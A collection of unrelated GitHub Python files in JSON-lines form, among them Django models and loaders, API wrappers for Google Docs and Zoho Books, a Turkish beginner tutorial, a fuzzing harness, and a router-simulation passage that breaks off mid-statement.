{"seq_id":"40526582800","text":"from models import Note\nfrom django.contrib.auth.models import User\nfrom random import randrange\nfrom sys import stdout\nfrom django.utils.timezone import now\nfrom django.utils.encoding import smart_unicode\n\n\ndef gen_random_string_en(dicts_array, size):\n    string = \"\"\n    dicts_size = len(dicts_array)\n\n    while size > len(string):\n        string += dicts_array[randrange(dicts_size)] + \" \"\n\n    return string\n\n\ndef gen_random_string_zh(dicts_array, size):\n    string = \"\"\n    dicts_size = len(dicts_array)\n\n    while size > len(string):\n        string += smart_unicode(dicts_array[randrange(dicts_size)])\n        if 0 == (len(string) % randrange(2, 5)):\n            string += \" \"\n\n    return string\n\n\ndef gen(count, dicts, get_string_function):\n    user = User.objects.all()[0]\n    date_now = now()\n    total = count\n\n    while 0 < count:\n        stdout.write(\"%d\\r\" % (total - count))\n        stdout.flush()\n        count -= 1\n        note = Note()\n        note.user = user\n        note.pub_date = date_now\n        note.title = get_string_function(dicts, randrange(20, 100))\n        note.body = get_string_function(dicts, randrange(500, 1000))\n        note.save()\n\n\ndef gen_en(count):\n    f = open(\"dict.txt\", \"r\")\n    dicts = [line.strip() for line in f]\n    f.close()\n\n    gen(count, dicts, gen_random_string_en)\n\n\ndef gen_zh(count):\n    f = open(\"zh_dict.txt\", \"r\")\n    dicts = [line.strip() for line in f]\n    f.close()\n\n    gen(count, dicts, gen_random_string_zh)\n","repo_name":"lxdiyun/haystack_demo","sub_path":"myapp/generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"1641852704","text":"# GENELLER PYTHON NOTLARI\n#-----------------------------------------------------------------\n# NUMBERS AND CHARACTERS INFORMATION (NUMARA VE KARAKTER BILGILERI)\n#-----------------------------------------------------------------\n# Sayilar integer ve float olarak ikiye ayrilir. int= tam sayilari;\n# float= ondalikli yani kesirlileri gosterir. \n# Stringler(Karakter Dizinleri)= Cift tirnak veya tek tirnak kullanilir. \n# \"type()\" fonksiyonu bize parantez icine girilen her seyin turunu gosterir.\n# \"print()\" fonksiyonu bizim ekrana yazdir fonksiyonumuzdur.\n\nprint(\"Merhabalar\")\n\n\ntype(9)\n\ntype(12.6)\n\ntype(\"R\")\n\ntype(\"Merhabalar\")\n\n#-----------------------------------------------------------------\n\n# STRINGS CLOSER LOOK (STRINGLERE YAKINDAN BAKMAK) \n# \" \" kullandigimizda python str olarak algiliyor\n\n\"123\"\ntype(\"123\")\n\n#-----------------------------------------------------------------\n# iki str ifadesini bir araya getirmek\n\n\"a\" + \"-b\" # ( buradaki + isareti toplama anlaminda degildir. ) \n\"a\" \" b\" # veya bu sekilde de olabilir.\n\n# str ifadesini cogaltmak\n\n\"a \"*7\n\n#------------------------------------------------------------------\n# UZUNLUK (ELEMAN SAYISI) BILGISINE ERISMEK = len() FONSIYONU\n# Metodlar veri veya belili yapilar uzerine uygulanan cesitli fonsiyonlardir.\n\npyt_org = \"python_ogreniyorum\"\n\n# onceki w hala degisken tablosunda duruyor onu silmek icin sag tiklayip remove\n# veya asagiya yazacagim gibi kod silme komutu da oluyor\n# del w silme islemi bittikten sonra diyez isareti ile yorum satiri yapiyoruz.\n\na = 10\nb = 215\n\na*b\n\nlen(pyt_org)\nlen(\"python_ogreniyorum\")\n\n#------------------------------------------------------------------\n# BUYUK-KUCUK HARF DONUSUMLERI = upper() &lower()  FONSIYONU\n\npyt_org = \"python_ogreniyorum\"\n\npyt_org.upper() # buyuk harflerle\n\npyt_org.lower() # kucuk harflerle\n\npyt_org.islower()\nB = pyt_org.upper()\n\npyt_org.isupper()\n\nB.isupper()\n\nB.islower()\n\n\n#------------------------------------------------------------------\n# KARAKTER DEGISTIRME = replace() FONSIYONU\n# harf degistirmeye yarar. Ornegin e'leri a yapalim.\n\npyt_org.replace(\"e\", \"a\")\n\npyt_org.replace(\"a\", \"e\")\n\n\n#------------------------------------------------------------------\n# KARAKTER KIRPMA = strip() FONSIYONU\n# istenmeyen karakterleri kirpmak icin kullanilir\n# Orengin asagidakinin kenarlarindaki cizgileri yok edelim.\n\npyt_org = \" _python_ogreniyorum_ \"\n\npyt_org.strip(\"_\")\n\n\n#------------------------------------------------------------------\n#SUBSTRINGLER\ngel_yaz = \"gelecegi_yazanlar\"\n\ngel_yaz[1] \n\ngel_yaz[15]\n\ngel_yaz[0:5] # 0'dan basla 5'e kadar anlaminda\n\ngel_yaz[3:11] \n\n\n\n#------------------------------------------------------------------\n#DEGISKENLER\n\nA = 99\nb =  \"ali_uzaya_git\" \nC = A/3\n\nA/C\n\nA*C\n\nA*5\n\n\n#------------------------------------------------------------------\n# TYPE DONUSUMLERI\n\ntoplama_bir = input()\ntoplama_iki = input()\n\n\ntoplama_bir + toplama_iki #Burda ikisi de str deger oldugu icin yan yana yazdi yani birlestirdi. \n\nint(toplama_bir) + int(toplama_iki)\n\n10.0    # float degeri int donusturme;\n\ntype(10.0)\nint(10.0)\n\n\n12      # int degeri float'a donusturme;\n\ntype(12)\nfloat(12)\n\n\n\n#------------------------------------------------------------------\n#-print() Fonksiyonu = Ekrana yazdirmaya yariyor\n\nprint(\"gelecegi\" , \"yazanlar\")\n\nprint(\"gelecegi\" , \"yazanlar\" , sep= \"_\") # sep fonk birlestirmeye yariyor.  \n\n","repo_name":"ramazankrklnc/Turkce_Python_Egitimi","sub_path":"Python_101.py","file_name":"Python_101.py","file_ext":"py","file_size_in_byte":3366,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"73027208680","text":"import json\nfrom unified.core.actions import Actions\nfrom documents.google_docs import util\nfrom documents.google_docs.entities.google_docs_document import GoogledocsDocument\n\n\nclass GoogledocsAction(Actions):\n\n    def create_document_from_text(self, context, payload):\n        '''Create a  file with text.'''\n\n        access_token = util.get_access_token(context[\"headers\"])\n        url = \"https://docs.googleapis.com/v1/documents\"\n        file = GoogledocsDocument(**payload)\n        create_file = {\n            \"title\": file.name\n        }\n        response = util.rest(\"post\", url, access_token, create_file)\n\n        if response.ok:\n            file_id = json.loads(response.text)['documentId']\n            # updating content in docs\n            update_content_response = self.create_content_in_file(file_id, file.content, access_token)\n\n            if update_content_response.ok:\n                # move file to given folder id\n                if file.folder_id:\n                    move_file = self.move_file(access_token, file_id, file.folder_id)\n                update_content_obj = json.loads(update_content_response.text)\n                update_content_obj['id'] = file_id\n\n                return json.loads(update_content_obj), update_content_response.status_code\n\n        return json.loads(response.text), response.status_code\n\n    def create_content_in_file(self, file_id, file_content, access_token):\n        '''create a file content'''\n\n        url = f\"https://docs.googleapis.com/v1/documents/{file_id}:batchUpdate\"\n        request_body = {\n            \"requests\": [{\"insertText\": {\n                \"text\": file_content,\n                \"endOfSegmentLocation\": {\"segmentId\": \"\"}}}]}\n        return util.rest(\"POST\", url, access_token, request_body)\n\n    def move_file(self, access_token, file_id, folder_id):\n        '''Move a file from one folder to another.'''\n\n        url = f\"https://www.googleapis.com/drive/v2/files/{file_id}/parents\"\n        request_body = {\n            \"id\": folder_id\n        }\n        response = util.rest(\"POST\", url, access_token, request_body)\n\n        return response\n\n    def create_document_from_template(self, context, payload):\n        '''Creates a new doc based on an existing one'''\n\n        access_token = util.get_access_token(context[\"headers\"])\n        file = GoogledocsDocument(**payload)\n        url = f\"https://www.googleapis.com/drive/v2/files/{file.template_id}/copy\"\n        file_body = {\n            \"title\": file.name\n        }\n\n        response = util.rest(\"POST\", url, access_token, file_body)\n\n        if response.ok:\n            templete = json.loads(response.text)\n            file_id = templete.get('id')\n            # Moving file to given folder\n            if file.folder_id:\n                move_file_response = self.move_file(access_token, file_id, file.folder_id)\n                if not move_file_response.ok:\n                    return json.loads(move_file_response.text), move_file_response.status_code \n\n            return json.loads(response.text), response.status_code\n\n    def append_text_to_document(self, context, payload):\n        '''Appends text to an existing document.'''\n\n        file = GoogledocsDocument(**payload)\n        access_token = util.get_access_token(context[\"headers\"])\n        data = self.create_content_in_file(file.document_id, file.text_to_append, access_token)\n        return json.loads(data.text), data.status_code\n","repo_name":"dipendrabaidawa/unified_api","sub_path":"unified/modules/main/categories/documents/google_docs/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":3421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"14727672340","text":"from __future__ import unicode_literals\n\nfrom django.utils.encoding import python_2_unicode_compatible\nfrom jsonfield import JSONField\n\nfrom multigtfs.models.base import models, Base\n\n\n@python_2_unicode_compatible\nclass FareRule(Base):\n    \"\"\"Associate a Fare with a Route and/or Zones\"\"\"\n    fare = models.ForeignKey('Fare', on_delete=models.CASCADE)\n    route = models.ForeignKey(\n        'Route', null=True, blank=True, on_delete=models.SET_NULL,\n        help_text=\"Fare class is valid for this route.\")\n    origin = models.ForeignKey(\n        'Zone', null=True, blank=True, on_delete=models.SET_NULL,\n        related_name='fare_origins',\n        help_text=\"Fare class is valid for travel originating in this zone.\")\n    destination = models.ForeignKey(\n        'Zone', null=True, blank=True, on_delete=models.SET_NULL,\n        related_name='fare_destinations',\n        help_text=\"Fare class is valid for travel ending in this zone.\")\n    contains = models.ForeignKey(\n        'Zone', null=True, blank=True, on_delete=models.SET_NULL,\n        related_name='fare_contains',\n        help_text=\"Fare class is valid for travel withing this zone.\")\n    extra_data = JSONField(default={}, blank=True, null=True)\n\n    def __str__(self):\n        u = \"%d-%s\" % (self.fare.feed.id, self.fare.fare_id)\n        if self.route:\n            u += '-%s' % self.route.route_id\n        return u\n\n    class Meta:\n        db_table = 'fare_rules'\n        app_label = 'multigtfs'\n\n    # For Base import/export\n    _column_map = (\n        ('fare_id', 'fare__fare_id'),\n        ('route_id', 'route__route_id'),\n        ('origin_id', 'origin__zone_id'),\n        ('destination_id', 'destination__zone_id'),\n        ('contains_id', 'contains__zone_id')\n    )\n    _filename = 'fare_rules.txt'\n    _rel_to_feed = 'fare__feed'\n    _sort_order = ('route__route_id', 'fare__fare_id')\n    _unique_fields = (\n        'fare_id', 'route_id', 'origin_id', 'destination_id', 'contains_id')\n","repo_name":"tulsawebdevs/django-multi-gtfs","sub_path":"multigtfs/models/fare_rule.py","file_name":"fare_rule.py","file_ext":"py","file_size_in_byte":1954,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"18"}
{"seq_id":"21619210165","text":"from pathlib import Path\n\nfrom django.core.exceptions import SuspiciousFileOperation\nfrom django.template import Origin, TemplateDoesNotExist\nfrom django.template.loaders.filesystem import Loader as FilesystemLoader\nfrom django.utils._os import safe_join\n\nfrom . import themes\n\n\nclass Loader(FilesystemLoader):\n    def get_template_sources(self, template_name):\n        template_path = template_name.split(\";\")\n        if (\n            len(template_path) == 3\n            and template_path[0] == \"themes\"\n            and template_path[1] in themes\n        ):\n            theme_info = themes[template_path[1]]\n            try:\n                name = safe_join(theme_info[\"path\"] / \"templates\", template_path[2])\n            except SuspiciousFileOperation:\n                return\n\n            yield Origin(\n                name=name,\n                template_name=template_name,\n                loader=self,\n            )\n","repo_name":"Jeffery05/pAIge","sub_path":"page/themes/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"43444926145","text":"import pandas as pd\nimport numpy as np\nimport numpy.random as rd\nimport sklearn\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.decomposition import PCA\nfrom sklearn.preprocessing import StandardScaler\n\ndef pca_trafo(pose_feats,comp):\n    n_comp = comp\n    pca_trafo = PCA(n_components=n_comp)\n    data = pose_feats\n\n    pca_data = pca_trafo.fit_transform(data)\n    pca_inv_data = pca_trafo.inverse_transform(pca_data)\n\n    \"\"\"plt.figure(figsize = (10,6.5));\n    plt.semilogy(pca_trafo.explained_variance_ratio_, '--o');\n    plt.xlabel('principal component', fontsize = 20);\n    plt.ylabel('explained variance', fontsize = 20);\n    plt.tick_params(axis='both', which='major', labelsize=10);\n    plt.tick_params(axis='both', which='minor', labelsize=10);\n    plt.xlim([0, 66]);\"\"\"\n\n    z_scaler = StandardScaler()\n    z_data = z_scaler.fit_transform(data)\n    pca_trafo2 = PCA().fit(z_data);\n\n    fig, ax1 = plt.subplots(figsize = (10,6.5))\n    ax1.set_xlabel('principal component', fontsize = 10);\n\n    \n    plt.legend(loc=(0.01, 0.075) ,fontsize = 10);\n\n    ax2 = ax1.twinx()\n    ax2.semilogy(pca_trafo.explained_variance_ratio_.cumsum(), '--go', label = 'cumulative explained variance ratio');\n    for tl in ax2.get_yticklabels():\n        tl.set_color('g')\n\n    ax2.tick_params(axis='both', which='minor', labelsize=10);\n    ax2.tick_params(axis='both', which='minor', labelsize=10);\n    plt.xlim([0, 66]);\n    plt.legend(loc=(0.01, 0),fontsize = 18);\n\n    fig = plt.figure(figsize=(12, 10))\n    sns.heatmap(pca_trafo.inverse_transform(np.eye(n_comp)), cmap=\"hot\", cbar=False)\n    plt.ylabel('principal component', fontsize=20);\n    plt.xlabel('original feature index', fontsize=20);\n    plt.tick_params(axis='both', which='major', labelsize=10);\n    plt.tick_params(axis='both', which='minor', labelsize=10);\n\n    fig = plt.figure(figsize=(12, 10))\n    plt.plot(pca_inv_data.mean(axis=0), '--o', label = 'mean')\n    plt.plot(np.square(pca_inv_data.std(axis=0)), '--o', label = 'variance')\n    plt.legend(loc='lower right')\n    plt.ylabel('feature contribution', fontsize=20);\n    plt.xlabel('feature index', fontsize=20);\n    plt.tick_params(axis='both', which='major', labelsize=10);\n    plt.tick_params(axis='both', which='minor', labelsize=10);\n    plt.xlim([0, 66])\n    plt.legend(loc='lower left', fontsize=10)\n    plt.show()\n    return fig","repo_name":"rosivagyok/masters-repo","sub_path":"pca_trafo.py","file_name":"pca_trafo.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"20302414810","text":"from django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('evaluation', '0033_remove_likert_and_grade_answer'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='course',\n            name='gets_no_grade_documents',\n            field=models.BooleanField(default=False, verbose_name='gets no grade documents'),\n        ),\n    ]\n","repo_name":"e-valuation/EvaP","sub_path":"evap/evaluation/migrations/0034_course_gets_no_grade_documents.py","file_name":"0034_course_gets_no_grade_documents.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":93,"dataset":"github-code","pt":"18"}
{"seq_id":"73027123880","text":"from unified.core.triggers import Triggers\nfrom accounting_invoicing.zoho_books.entities.zoho_books_customer import  ZohobooksCustomer\nfrom accounting_invoicing.zoho_books.entities.zoho_books_item import ZohobooksItem\nfrom accounting_invoicing.zoho_books.entities.zoho_books_sales_invoice import ZohobooksSalesinvoice\nfrom accounting_invoicing.zoho_books.entities.zoho_books_estimate import ZohobooksEstimate\nfrom accounting_invoicing.zoho_books.entities.zoho_books_expense import ZohobooksExpense\nimport json\n\n\nclass ZohobooksTriggers(Triggers):\n\n    def new_customer(self, context, payload):\n        ''' triggers when new customer created'''\n        customer=payload[\"JSONString\"][\"contact\"]\n        customer_obj = ZohobooksCustomer(\n                                    contact_name = customer[\"contact_name\"],\n                                    company_name = customer[\"company_name\"],\n                                    website = customer[\"website\"],\n                                    payment_terms= customer[\"payment_terms\"],\n                                    notes= customer[\"notes\"],\n                                    billing_address=customer[\"billing_address\"],\n                                    billing_address_city= customer[\"billing_address\"][\"city\"],\n                                    billing_address_state= customer[\"billing_address\"][\"state\"],\n                                    billing_address_zip= customer[\"billing_address\"][\"zip\"],\n                                    billing_address_country= customer[\"billing_address\"][\"country\"],\n                                    billing_address_fax= customer[\"billing_address\"][\"fax\"],               \n                                    shipping_address=customer[\"shipping_address\"],\n                                    shipping_address_city= customer[\"shipping_address\"][\"city\"],\n                                    shipping_address_state= customer[\"shipping_address\"][\"state\"],\n                                    shipping_address_zip= customer[\"shipping_address\"][\"zip\"],\n                                    shipping_address_country= customer[\"shipping_address\"][\"country\"],\n                                    shipping_address_fax= customer[\"shipping_address\"][\"fax\"],\n                                    first_name=customer[\"first_name\"],\n                                    last_name= customer[\"last_name\"],\n                                    email= customer[\"email\"],\n                                    phone= customer[\"phone\"],\n                                    mobile= customer[\"mobile\"]\n                                    )\n        return customer_obj.__dict__\n    \n\n    def new_estimate(self, context, payload):\n        ''' triggers when new estimate created'''\n        estimate=payload[\"JSONString\"][\"estimate\"]\n        data=estimate[\"line_items\"][0]\n        estimate_obj = ZohobooksEstimate(\n                                        customer_id= estimate[\"customer_id\"],\n                                        start_date= estimate[\"date\"],\n                                        end_date= estimate[\"expiry_date\"],\n                                        exchange_rate= estimate[\"exchange_rate\"],\n                                        discount= data[\"discount\"],\n                                        item_id= data[\"item_id\"],\n                                        rate= data[\"rate\"],\n                                        quantity= data[\"quantity\"],\n                                        estimate_notes= estimate[\"notes\"],\n                                        estimate_terms= estimate[\"terms\"]\n                                        )\n        return estimate_obj.__dict__\n\n\n    def new_item(self, context, payload):\n        ''' triggers when new item created'''\n        item=payload[\"JSONString\"][\"item\"]\n        item_obj = ZohobooksItem(\n                                 item_name= item[\"name\"],\n                                 description= item[\"description\"],\n                                 rate= item[\"rate\"],\n                                 tax_percentage= item[\"tax_percentage\"]\n                                )\n        return item_obj.__dict__\n\n\n    def new_sales_invoice(self, context, payload):\n        ''' triggers when new invoice created'''\n        print(payload.keys())\n        invoice=payload['JSONString'][\"invoice\"]\n        data=invoice[\"line_items\"][0]\n        \n        invoice_obj = ZohobooksSalesinvoice(\n                                            customer_id= invoice[\"customer_id\"],\n                                            exchange_rate= invoice[\"exchange_rate\"],\n                                            item_id= data[\"line_item_id\"],\n                                            description= data[\"description\"],\n                                            rate= data[\"rate\"],\n                                            quantity= data[\"quantity\"],\n                                            discount= data[\"discount\"],\n                                            adjustment= invoice[\"adjustment_description\"],\n                                            start_date= invoice[\"date\"],\n                                           \n                                          )\n        \n        return invoice_obj.__dict__\n\n\n    def new_expense(self, context, payload):\n        ''' triggers when new expence created'''\n        expense=payload[\"JSONString\"][\"expense\"]\n        expense_obj = ZohobooksExpense(\n                                       account_id= expense[\"account_id\"],\n                                       date= expense[\"date\"],\n                                       amount= expense[\"amount\"]\n                                      )\n        return expense_obj.__dict__\n\n                                    ","repo_name":"dipendrabaidawa/unified_api","sub_path":"unified/modules/main/categories/accounting_invoicing/zoho_books/triggers.py","file_name":"triggers.py","file_ext":"py","file_size_in_byte":5756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"16697782534","text":"import sys\nimport os\n\nsys.path.insert(1, os.path.abspath(\".\"))\n\nimport pandas as pd\nimport titanic\n\nfrom pyfuzz.fuzzers import *\nfrom pyfuzz.byte_mutations import *\nfrom pyfuzz.fuzz_data_interpreter import *\n\ndef PyFuzzTitanic(data):\n  fdi = FuzzedDataInterpreter(data)\n\n  pclass      = fdi.claim_int(4) \n  sex         = fdi.claim_int(4)\n  age         = fdi.claim_float()\n  fare        = fdi.claim_float()\n  cabin       = fdi.claim_float()\n  embarked    = fdi.claim_int(4)\n  title       = fdi.claim_int(4)\n  family_size = fdi.claim_float()\n\n  print(pclass, sex, age, fare, cabin, embarked, title, family_size)\n\n  test_input = titanic.build_test_input(pclass, sex, age, fare, cabin, embarked, title, family_size)\n  prediction = titanic.predict(test_input)\n  return prediction\n\nif __name__ == \"__main__\":\n    \n    titanic.setup()\n\n    runner = FunctionRunner(PyFuzzTitanic)\n\n    seed = [bytearray([0]*24)]\n    fuzzer = MutationFuzzer(seed, mutator=mutate_bytes)\n    results = fuzzer.runs(runner, 1000)\n\n    df = pd.DataFrame(results, columns=[\"output\", \"status\"])\n    print(df.groupby(\"status\").size())\n    print(\"fuzzer.failure_cases:\")\n    print(fuzzer.failure_cases)\n","repo_name":"fabriceyhc/pyfuzz","sub_path":"src/examples/titanic/pyfuzz_titanic.py","file_name":"pyfuzz_titanic.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"72172135399","text":"import copy\n\nMONITOR_ENABLE = False\n\nclass ColorUtils:\n    HEADER = '\\033[95m'\n    OKBLUE = '\\033[94m'\n    OKGREEN = '\\033[92m'\n    WARNING = '\\033[93m'\n    FAIL = '\\033[91m'\n    ENDC = '\\033[0m'\n    BOLD = '\\033[2m'\n    UNDERLINE = '\\033[4m'\n\n    @staticmethod\n    def print_error(string):\n        print(ColorUtils.FAIL + string + ColorUtils.ENDC)\n\n    @staticmethod\n    def print_ping(string):\n        print(ColorUtils.OKBLUE + \"----------------\")\n        print(*string)\n        print(\"----------------\" + ColorUtils.ENDC)\n\n    @staticmethod\n    def print_monitor(string):\n        if MONITOR_ENABLE:\n            print(ColorUtils.WARNING + \"**************\")\n            print(string)\n            print(\"**************\" + ColorUtils.ENDC)\n\n\nclass Packet:\n    def __init__(self, message, sender_ID, receiver_ID, type):\n        self.message = message\n        self.sender_ID = sender_ID\n        self.receiver_ID = receiver_ID\n        self.type = type # hello, flood, ping, DBD\n\n\nclass Client:\n    def __init__(self, IP):\n        self.IP = IP\n        self.link = None\n\n    @staticmethod\n    def check_valid_IP(IP):\n        parts = IP.split(\".\")\n        if len(parts) != 4:\n            return False\n        for part in parts:\n            if not 0 <= int(part) <= 255:\n                return False\n        return True\n\n    @staticmethod\n    def check_uniqueness_IP(clients, IP):\n        for client in clients:\n            if client.IP == IP:\n                return False\n        return True\n\n    def set_link(self, link):\n        self.link = link\n\n    def send_packet(self, packet):\n        if not self.link is None:\n            self.link.send_packet(packet, self.IP)\n\n    def receive_packet(self, packet, link):\n        ColorUtils.print_monitor(self.IP + \": \\n\" + \"type: \" + str(packet.type) + \"\\nbody: \"  + \"----------\") #TODO + str(*packet.message)\n        if packet.type == \"ping\":\n            packet.message += [self.IP]\n            ColorUtils.print_ping(packet.message)\n\n    def ping(self, receiver_ID):\n        packet = Packet([self.IP], self.IP, receiver_ID, \"ping\")\n        if self.link is not None:\n            if not self.link.send_packet(packet, self.IP):\n                packet.message += ['invalid']\n                ColorUtils.print_ping(packet.message)\n        else:\n            packet.message += ['unreachable']\n            ColorUtils.print_ping(packet.message)\n\n\n\nclass Router:\n    def __init__(self, ID):\n        self.ID = ID\n        self.num_of_interfaces = 10\n        self.num_of_available_interfaces = self.num_of_interfaces\n        self.topology_database = {self.ID: {}}\n        self.routing_table = {}\n        self.receive_timer = {}\n        self.send_timer = {}\n\n    @staticmethod\n    def check_valid_ID(ID):\n        return 1000 <= int(ID) <= 9999\n\n    @staticmethod\n    def check_uniqueness_ID(routers, ID):\n        for router in routers:\n            if router.ID == ID:\n                return False\n        return True\n\n    def add_link_to_client(self, link, other_side):\n        if self.num_of_available_interfaces > 0:\n            self.num_of_available_interfaces -= 1\n            self.topology_database[self.ID][other_side.IP] = link\n            self.topology_database[other_side.IP] = {self.ID: link}\n            self.route()\n            self.send_advertisement(other_side.IP, \"add\")\n        else:\n            ColorUtils.print_error(\"Interface Limit Reached!\")\n\n    def is_link_to_client(self, link, other_side):\n        if other_side.IP not in self.topology_database[self.ID].keys():\n            ColorUtils.print_error(\"Such Link Does Not Exists!\")\n\n    def is_link_to_router(self, link, other_side):\n        if other_side.ID not in self.topology_database[self.ID].keys():\n            ColorUtils.print_error(\"Such Link Does Not Exists!\")\n\n    def update_topology_database(self, new_database, sender_ID, type=\"add\"):\n        temp_database = {}\n        for node in self.topology_database.keys():\n            temp_database[node] = copy.copy(self.topology_database[node])\n        if type == \"add\":\n            for id in new_database.keys():\n                if id not in self.topology_database.keys():\n                    self.topology_database[id] = {}\n                self.topology_database[id].update(new_database[id])\n        elif type == \"remove\":\n            self.topology_database = {}\n            for node in new_database.keys():\n                self.topology_database[node] = copy.copy(new_database[node])\n        if temp_database != self.topology_database:\n            self.send_advertisement(sender_ID, type)\n            self.route()\n\n    def route(self):\n        self.routing_table = {}\n        D = {i: float(\"inf\") if i != self.ID else 0 for i in self.topology_database.keys()}\n        P = {i: [] if i != self.ID else [-1] for i in self.topology_database.keys()}\n        N = [self.ID]\n        for neighbor in self.topology_database[self.ID].keys():\n            D[neighbor] = self.topology_database[self.ID][neighbor].cost\n        num_of_nodes = len(D.keys())\n        while len(N) != num_of_nodes:\n            for i in N:\n                D.pop(i, None)\n            min_node = min(D, key=D.get)\n            for neighbor in self.topology_database[min_node].keys():\n                if neighbor not in N:\n                    if D[min_node] + self.topology_database[min_node][neighbor].cost < D[neighbor]:\n                        D[neighbor] = D[min_node] + self.topology_database[min_node][neighbor].cost\n                        P[neighbor] = P[min_node] + [min_node]\n            N.append(min_node)\n        for neighbor in self.topology_database[self.ID].keys():\n            P[neighbor] = P[neighbor] + [neighbor]\n        for i in P.keys():\n            if len(P[i]) > 0:\n                self.routing_table[i] = P[i][0]\n\n    def send_hello(self, link, first_time=False):\n        packet = Packet(self.topology_database[self.ID].keys(), self.ID, None, \"hello\")\n        if link.send_packet(packet, self.ID):\n            if first_time:\n                # link.states[self.ID] = \"hello_sent\"\n                pass\n\n    def send_database_description(self, link):\n        packet = Packet(self.topology_database, self.ID, None, \"DBD\")\n        link.send_packet(packet, self.ID)\n\n    def receive_packet(self, packet, link):\n        ColorUtils.print_monitor(self.ID + \": \\n\" + \"type: \" + packet.type + \"\\nbody: \" + \"----------\") #TODO + packet.message\n        if packet.type == \"hello\":\n            if link.states[self.ID] == \"down\":\n                if packet.sender_ID not in self.topology_database[self.ID].keys():\n                    link.states[self.ID] = \"init\"\n                    self.topology_database[self.ID][packet.sender_ID] = link\n                    if packet.sender_ID not in self.topology_database.keys():\n                        self.topology_database[packet.sender_ID] = {}\n                    # self.topology_database[packet.sender_ID][self.ID] = link\n                    self.send_hello(link, first_time=True)\n                    self.route()\n                else:\n                    ColorUtils.print_error(\"Connection is Already Established!\")\n            elif link.states[self.ID] == \"init\":\n                if self.ID in packet.message:\n                    link.states[self.ID] = \"2-way\"\n                    self.send_hello(link)\n                    self.send_database_description(link)\n                    self.add_to_timer(packet.sender_ID)\n            elif link.states[self.ID] == \"2-way\":\n                self.set_receive_timer(packet.sender_ID)\n\n        elif packet.type == \"DBD\":\n            self.update_topology_database(packet.message, packet.sender_ID, type=\"add\")\n\n        elif packet.type == \"flood\":\n            self.update_topology_database(packet.message, packet.sender_ID, type=\"remove\")\n\n        elif packet.type == \"ping\":\n            packet.message += [self.ID]\n            try:\n                link = get_link(self.ID, self.routing_table[packet.receiver_ID])\n                if link is None:\n                    packet.message += ['unreachable']\n                    ColorUtils.print_ping(packet.message)\n                elif not link.send_packet(packet, self.ID):\n                    packet.message += ['invalid']\n                    print(self.routing_table)\n                    ColorUtils.print_ping(packet.message)\n            except KeyError:\n                packet.message += ['unreachable']\n                ColorUtils.print_ping(packet.message)\n\n    def send_advertisement(self, sender_ID, type):\n        if type == \"add\":\n            packet = Packet(self.topology_database, self.ID, None, \"DBD\")\n            for neighbor in self.topology_database[self.ID].keys():\n                if neighbor != sender_ID:\n                    self.topology_database[self.ID][neighbor].send_packet(packet, self.ID)\n        elif type == \"remove\":\n            packet = Packet(self.topology_database, self.ID, None, \"flood\")\n            for neighbor in self.topology_database[self.ID].keys():\n                if neighbor != sender_ID:\n                    self.topology_database[self.ID][neighbor].send_packet(packet, self.ID)\n\n    def add_to_timer(self, neighbor_ID):\n        self.receive_timer[neighbor_ID] = 30\n        self.send_timer[neighbor_ID] = 10\n\n    def set_receive_timer(self, neighbor_ID):\n        self.receive_timer[neighbor_ID] = 30\n\n    def remove_neighbor(self, neighbor_IDs):\n        for neighbor_ID in neighbor_IDs:\n            del self.topology_database[self.ID][neighbor_ID]\n            del self.receive_timer[neighbor_ID]\n            del self.send_timer[neighbor_ID]\n        if len(neighbor_IDs) > 0:\n            self.send_advertisement(None, \"remove\")\n            # print(neighbor_ID)\n            self.route()\n\n    def next_time(self):\n        removing_neighbors = list()\n        for neighbor in self.receive_timer.keys():\n            self.receive_timer[neighbor] -= 1\n            # print(self.receive_timer[neighbor])\n            if self.receive_timer[neighbor] == 0:\n                removing_neighbors.append(neighbor)\n        self.remove_neighbor(removing_neighbors)\n\n        for neighbor in self.send_timer.keys():\n            self.send_timer[neighbor] -= 1\n            if self.send_timer[neighbor] == 0:\n                self.send_hello(self.topology_database[self.ID][neighbor])\n                self.send_timer[neighbor] = 10\n\n\n\nclass Link:\n    def __init__(self, first_side, second_side, cost):  #state = down init, 2-way, full\n        self.first_side = first_side\n        self.second_side = second_side\n        self.cost = cost\n        self.state = \"intact\"\n        self.sides = {\n            self.first_side.IP if type(self.first_side) is Client else self.first_side.ID: self.second_side,\n            self.second_side.IP if type(self.second_side) is Client else self.second_side.ID: self.first_side\n        }\n        self.states = {\n            self.first_side.IP if type(self.first_side) is Client else self.first_side.ID: \"down\",\n            self.second_side.IP if type(self.second_side) is Client else self.second_side.ID: \"down\"\n        }\n\n    def establish_connection(self):\n        self.state = \"intact\"\n        if type(self.first_side) is Client and type(self.second_side) is Client:\n            ColorUtils.print_error(\"Impossible Connection Between Two Clients!\")\n        elif type(self.first_side) is Client and type(self.second_side) is Router:\n            self.second_side.add_link_to_client(self, self.first_side)\n            self.first_side.set_link(self)\n        elif type(self.first_side) is Router and type(self.second_side) is Client:\n            self.first_side.add_link_to_client(self, self.second_side)\n            self.second_side.set_link(self)\n        elif type(self.first_side) is Router and type(self.second_side) is Router:\n            self.first_side.send_hello(self, first_time=True)\n\n    def disable_connection(self):\n        self.state = \"broken\"\n        for side in self.states:\n            self.states[side] = \"down\"\n        if type(self.first_side) is 